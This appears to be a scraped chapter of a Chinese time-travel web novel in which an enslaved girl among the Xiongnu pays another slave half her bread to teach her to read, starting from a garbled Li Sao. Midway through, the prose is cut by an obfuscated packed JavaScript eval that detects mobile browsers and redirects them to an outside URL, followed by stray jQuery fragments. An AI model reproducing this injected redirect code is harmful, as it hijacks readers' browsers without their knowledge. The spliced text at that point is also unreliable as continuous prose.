每一天夜里，当奴隶们在毡帐里躺下，同宿人的呼噜和咬牙声音响起的时候，狂风的怒吼声也如期而至。
北风的声音像狼嚎，像大哭，也像谁在大笑。
狂风在整个雪原肆意巡游，将所有的一切都尽情撕扯，毡帐的墙布在风呼啸中疯狂抖动，好像下一刻就要四分五裂开来，然后将这些缩头缩脑躺在毡帐中的奴隶暴露在冰天雪地里，叫他们活活被冻死。
人们住在这样的毡帐里，望向黄色毡帐墙壁，双眼中总有些自己看不见的忧心忡忡，只要寒冬存在，他们就无时无刻、无年无月不活在恐惧之中。
匈奴人在毡房里面用木杆支撑毡帐，在外面用绳子勒住毡帐，将木楔子打到地里，把从毡帐顶部勒过的麻绳牢牢系在木楔子上。
严冬的时候，这些粗麻拧成的绳索会更紧地缠在一起，它们因冰雪向绳子中心拧紧，而地上的木楔子也被封锁在冰雪之下的冻土中。麻绳与木楔子两相较劲，使得这座破旧的毡帐被死死固定在地面上，一动也不能动。
躺在毡帐里的人，因这寒冷，越发相互拥挤着，人与人之间空隙很小，谁也不能乱动一下。
人们往中心拥挤，毡帐内边缘就多空出了一尺来宽的空间，庄翎仍然睡在人群外缘。她不像这里的人那样习惯早睡，在这里，她甚至有点失眠。每一天，她夜里躺在干草上，都会倾听毡帐外狂风呼啸的声音。
有时候秋躺在她的身旁，大多数时候她不在。后来秋去和几个匈奴女人一起照顾新生的犊牛，有些时候需要犊牛休息的地方守夜，就在那住下，匈奴女人和她一起轮流。以前秋轮到空档会回来住，但是后来毡帐里越来越冷，秋就不再来了。
其实不再来到这个地方才是最好，也许秋是聪明的。
大风将毡帐吹得鼓皱，黑色的夜幕在其上汹涌起伏，使得这黑夜里的旧毡墙看上去像是一片幽黑的海域。四周很冷，庄翎静静地躺在毡墙旁边，在这孤独且平静的夜晚中，她从身边这片动荡的黑色海域里，嗅到了死亡的气息。
这气息又和羊皮毡上的膻味、人们呼吸中的疼痛、地面的阴冷、肉''体的饥饿一起混合在这不算宽敞的毡帐里，随着人们的一呼一吸，流遍她们四肢百骸。
第二天清早，骨梆声响起，照旧唤醒人们。
从大雪完全遮盖草地之后，匈奴人就不再给奴隶们煮汤羹吃，这时节木柴也很不是可以随意浪费的。
匈奴人用豆子、干菜、牛羊的筋膜、脆骨，做了许多小小的干饼，来给奴隶们吃。这些东西做的时候也许稍微麻烦一点，但是做出来之后能存放大半个冬天，可以不用每天烧火。
这些饼子做的时候，做得干干的，分给奴隶的时候也不用再加热。每一天早晨大家能分到一个手掌心大小的饼子，每天晚上还能再分到一个，这些饼子苦、腥、硬。第一次吃的时候尤其难以下咽，之后每次吃也没有好更多。
假如要喝水，部落里有数条溪流，可以破冰汲水。奴隶们需要自己取水，这活是轮流干的，取回来的水装在一个木桶里，清早放在奴隶营前的空地上。桶里面有一个小木瓢，也不分你我，大家直接用木瓢来喝。
清早的时候，庄翎和大多数人一样，排着队领了个干饼，排着队喝了一口水，吃掉饼子。今天她在领取到饼子的时候掰了半个放在衣袖里，另外半个和大家一样就着冷水吃掉，然后再多喝一点水，这就是一个奴隶一个上午的饮水量了。
随后，她如每日一般，往牛羊圈那边的干草垛走去铡草。
草垛下的人们还是和每天一样，大多数人在铡草，几个人抱着大箩筐来收走大家铡好的碎草，添到牛羊的食槽里去，然后再来装草，再去添，来回往复。有匈奴人时不时来查看牛圈里的食槽，一旦发现哪里草少了，或是那只牛羊更瘦一些，就要骂人或是打人。
今天上午有匈奴人在，爰没有偷懒，他一直在干活。等到牛羊的食槽都填满，监工的匈奴人走了，他就像昨天一样，来到草垛旁边，扔下箩筐，靠住草垛，随手从一旁扯来一把干草堆在身上，就准备睡觉。看起来他十分习惯这样的生活。
这会儿庄翎也可以不用铡草，她把衣袖里的半个豆饼拿出来，问一旁将自己埋在草堆里的爰，说道：“我想要认字，你能不能教我？”
“如果你愿意，我以后可以把每天早上分得的干饼留一半给你。”
爰看了看庄翎手里的饼子，看了看说话的庄翎，前倾身子，伸手来抓庄翎手里的半个饼子。庄翎将手里半个饼子递给爰，在对面默默等爰的回答。
爰夺来饼子，立刻送到嘴里，嚼了几口，强咽到肚子里去。咂咂嘴，有些意犹未尽。
爰这才看向一直在等待的庄翎，说道：“半块饼有点少，在汉朝要请人教导，最起码要有腊肉和银钱送来。”
“不过，我肚子饿，便宜也就便宜些吧。”
说到这里，爰语气一顿，忽然问说：“我记得你识字，怎么还要学？”
庄翎说：“我认识的字不多。”
现在是西汉时期，这会儿通用的文字是隶书，庄翎曾在网络上看过一些汉简，上面有些文字与简体字相差不大，稍稍认识一些繁体字的人，也都能对应上。毕竟现代的简体字也都是从以前流传下来的文字中简化规范而来的，但也有些个别的字，简体和繁体差别很大，认不出来。
而且还有一样，汉隶的书写方法和简体字的书写习惯不一样，如果真想要在这个时代重新当个受过教育的人，非得重新学习写字不可。
爰说：“哦……那你是应该好好再学一学！”
话是这样说，爰心里不以为然。
其实都落到这个境地，读什么书有什么意思呢？奴隶们闲着的时候都很少，而且匈奴这里可没有汉人的书可以读，就算是读了书，做不得官，发不了财，更不能光宗耀祖！何必呢？他暗笑眼前这女孩儿未免太呆了些。
不过，呆一点也好，他可以每天多赚半个饼子吃，倒也不赔。
爰稍稍思量自己过往学识，挑眉问庄翎：“你还没读过屈子的《离骚》吧？”他想这个女孩儿字都认不全，还是个女孩儿，就算读书能读几本？必然是没读过《离骚》，这诗文对小女孩儿来说也十分高深。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531343|202393||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
也不等庄翎回答，他道：“我就从《离骚》开始教你吧。”
庄翎接受过九年义务教育，也读过全日制高中，在读大学生，自然读过《离骚》，这还是一篇要求背诵的文章，她当初背得滚瓜烂熟，现在也记忆犹新。
但想到自己主要是和人学认字，从一篇自己从前学过的文章学起也更加方便一些，她对爰的教学安排没有异议，所以也不和对方较真，只在一旁等爰教导。
爰轻轻摇着头，看上去有几分沉醉，念道：“帝高阳之苗裔兮，朕皇考曰伯渊。摄提贞于孟陬兮，肇锡余以嘉名。扈江离与辟芷兮，”
庄翎在一旁听得惊愕，微微瞪大眼睛，这是《离骚》开头没错，但是爰读得乱七八糟，错漏百出。
“伯庸”叫他读成了“伯渊”，“摄提贞于孟陬兮”下一句应该是“惟庚寅吾以降”，“肇锡余以嘉名”的前一句是“皇览揆余初度兮”，而“扈江离与辟芷兮”前面还漏了四句话。
只见这人越是往下读错漏越多，庄翎悄然收了惊愕，只当做没发现对方的错漏。
她心想，这人也许本来会《离骚》，也许是生活在匈奴许多年，不与人谈论诗书，渐渐忘了这些。又或许，爰本来就不爱读书，被人抓到匈奴的时候就记不全诗文，在这里生活几年越发忘记了。
两个可能，不论是哪一个可能，都是一段伤心事。爰若是从前会背诵《离骚》，假如一直留在家乡，恐怕不会忘记从前读过的文章。若他从前不能背诵《离骚》，也不曾不曾叫匈奴人劫走，这些年一直读书，说不定也在学业上有了些成就，又哪里需要忧心不会背《离骚》？
想到这些，庄翎心里有些难过。爰念着词句错乱《楚辞》，念着念着，也像是有了些兴趣，他见旁边地面有一根细树枝，伸手勾过来，拨开地上一层细碎干草，在冰雪土地上给庄翎写自己方才读过的诗句。
他的字不丑，端端正正的，只是看他写字动作却十分生疏，写得并不快。
爰写一个字，庄翎就认一个字，她也拿来一根树枝在一旁写，她写起字来比爰灵活快速。但是爰见了庄翎写得端正秀丽有几分简体方块字风格的隶书，笑道：“我从没见过谁写得字这样呆。”
庄翎看着笔下的字，也笑了笑。
往后，她每天都会将自己早晨的饼子分出一半来，爰见了庄翎会直接拿走这半个饼子吃掉。
爰只第一日教课的时候有几分兴致，从第二天起立刻怠惰下来，也一日比一日随意。
有时候自己念一些错乱不堪的诗词，让庄翎动笔写字，他有时候指指点点帮着纠正，有时候哼哼哈哈地点头。
庄翎也不多计较，反而一日比一日学得用心，看上去心情也是一天比一天好。
分掉半个饼子之后，庄翎一开始觉得饿，渐渐的，大约是习惯了，也再不觉得饿了。
和爰乱七八糟地学习读书写字的时候，她好像又回到了穿越前的校园生活，庄翎感到了久违的安心快乐。
也好像在这样的日常里，重新找到了一些属于自己的生活。这种生活让她感觉到希望。